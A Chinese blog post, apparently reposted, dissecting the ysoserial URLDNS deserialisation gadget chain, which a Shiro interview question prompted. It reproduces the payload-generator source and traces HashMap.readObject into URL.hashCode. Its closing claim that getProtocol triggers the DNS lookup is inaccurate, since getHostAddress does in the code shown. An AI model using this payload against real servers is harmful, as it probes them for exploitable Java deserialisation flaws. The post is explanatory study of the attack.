yso中URLDNS的pop鏈分析(重新分析整理)


#發現之前對這個鏈關注的點有點問題,重新分析了一下

 

由於最近面試的過程中被問到了yso中URLDNS這個pop鏈的工作原理,當時面試因為是談到shiro的怎么檢測和怎么攻擊時談到了這個。其實在實戰中用JRMP其實比URLDNS更准(這個技巧后續再說)。

 當時因為沒有分析URLDNS和JRMP,所以問到URLDNS的pop鏈就懵了,沒回答出來。因此現在就分析一下URLDNS這款的代碼吧。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

在注釋里鏈路還是挺明白的:

*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

現在跟着注釋具體分析一下。
首先:URLStreamHandler,引用別人對這個類的理解。

      一般而言, URL 的格式是: protocol://[authority]hostname:port/resource?queryString 。 URL 類能夠解析出 protocol、 hostname 、 port 等信息。 Protocol 決定了交互規范,通用的協議,比如 HTTP 、 File 、 FTP 等協議, JDK 自帶了默認的通訊實現。當然,自定義實現是允許的。 Hostname 和 port 一般用於 Socket 或者基於 Socket 其他協議通訊方式。Resource 即資源上下文。可能讀者利用 URL ,通過指定協議( protocol )來獲取指定資源的讀寫,比如 JDK 內置了HTTP 、 File 、 FTP 等協議的處理方法。

      在成功地構造 URL 實例之后, URL API 中定義了一個 openConnection() 方法,返回一個 java.net.URLConnection 抽象類型的實例。不過,這里 URL 對象是代理對象,實際調用的是, java.net.URLStreamHandler 對象的 openConnection() 方法。

  我覺得可以理解為URLStreamHandler handler = new SilentURLStreamHandler();是初始化一個方法,到時候你的URL實例會根據這個類方法調用不同的操作。openConnection和getHostAddress是可以自定義的,說明協議可以自定義,自定義的協議做自定義的操作。

  接下來,實例化一個hashmap類。

  URL u = new URL(null, url, handler); 按注解的意思是把我們可控的url變為可作為hashmap實例的key。

  u為URL的實例,主要是對url通過對應的handler進行操作分割。屬性如下:

  然后可控的url為value。

  ht.put(u,url)。就是把key和value傳到hashmap里。

  hashmap的理解參考這篇文章:https://www.breakyizhan.com/java/4653.html

  最后ht的內容為

  

 

  簡單來說就是把ht處理成一個hashmap的實例,key為url的上下環境實例,value就是單純的url。

  然后對這個hashmap進行序列化的內容,然后再反序列化的時候觸發訪問這個域名的。 

  ser就是反序列化的字節流內容。

 

 補充:

上面這部分其實分析的不夠深,點有點淺。

反序列化在readobject點。return回去的對象是hashmap,所以直接去看hashmap的readobject。

 1   private void readObject(java.io.ObjectInputStream s)
 2         throws IOException, ClassNotFoundException {
 3         // Read in the threshold (ignored), loadfactor, and any hidden stuff
 4         s.defaultReadObject();
 5         reinitialize();
 6         if (loadFactor <= 0 || Float.isNaN(loadFactor))
 7             throw new InvalidObjectException("Illegal load factor: " +
 8                                              loadFactor);
 9         s.readInt();                // Read and ignore number of buckets
10         int mappings = s.readInt(); // Read number of mappings (size)
11         if (mappings < 0)
12             throw new InvalidObjectException("Illegal mappings count: " +
13                                              mappings);
14         else if (mappings > 0) { // (if zero, use defaults)
15             // Size the table using given load factor only if within
16             // range of 0.25...4.0
17             float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
18             float fc = (float)mappings / lf + 1.0f;
19             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
20                        DEFAULT_INITIAL_CAPACITY :
21                        (fc >= MAXIMUM_CAPACITY) ?
22                        MAXIMUM_CAPACITY :
23                        tableSizeFor((int)fc));
24             float ft = (float)cap * lf;
25             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
26                          (int)ft : Integer.MAX_VALUE);
27             @SuppressWarnings({"rawtypes","unchecked"})
28                 Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
29             table = tab;
30 
31             // Read the keys and values, and put the mappings in the HashMap
32             for (int i = 0; i < mappings; i++) {
33                 @SuppressWarnings("unchecked")
34                     K key = (K) s.readObject();
35                 @SuppressWarnings("unchecked")
36                     V value = (V) s.readObject();
37                 putVal(hash(key), key, value, false, false);
38             }
39         }

37的putVal這塊觸發了dns查詢。

 

 

hash了key【hash(key)】,

 

 

對key進行hashCode。跟進hashCode。

 

 

因為hashCode=-1,所以進行重新計算hashCode。

 1 protected int hashCode(URL u) {
 2         int h = 0;
 3 
 4         // Generate the protocol part.
 5         String protocol = u.getProtocol();
 6         if (protocol != null)
 7             h += protocol.hashCode();
 8 
 9         // Generate the host part.
10         InetAddress addr = getHostAddress(u);
11         if (addr != null) {
12             h += addr.hashCode();
13         } else {
14             String host = u.getHost();
15             if (host != null)
16                 h += host.toLowerCase().hashCode();
17         }
18 
19         // Generate the file part.
20         String file = u.getFile();
21         if (file != null)
22             h += file.hashCode();
23 
24         // Generate the port part.
25         if (u.getPort() == -1)
26             h += getDefaultPort();
27         else
28             h += u.getPort();
29 
30         // Generate the ref part.
31         String ref = u.getRef();
32         if (ref != null)
33             h += ref.hashCode();
34 
35         return h;
36     }

反序列化payload觸發點就在getProtocol


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM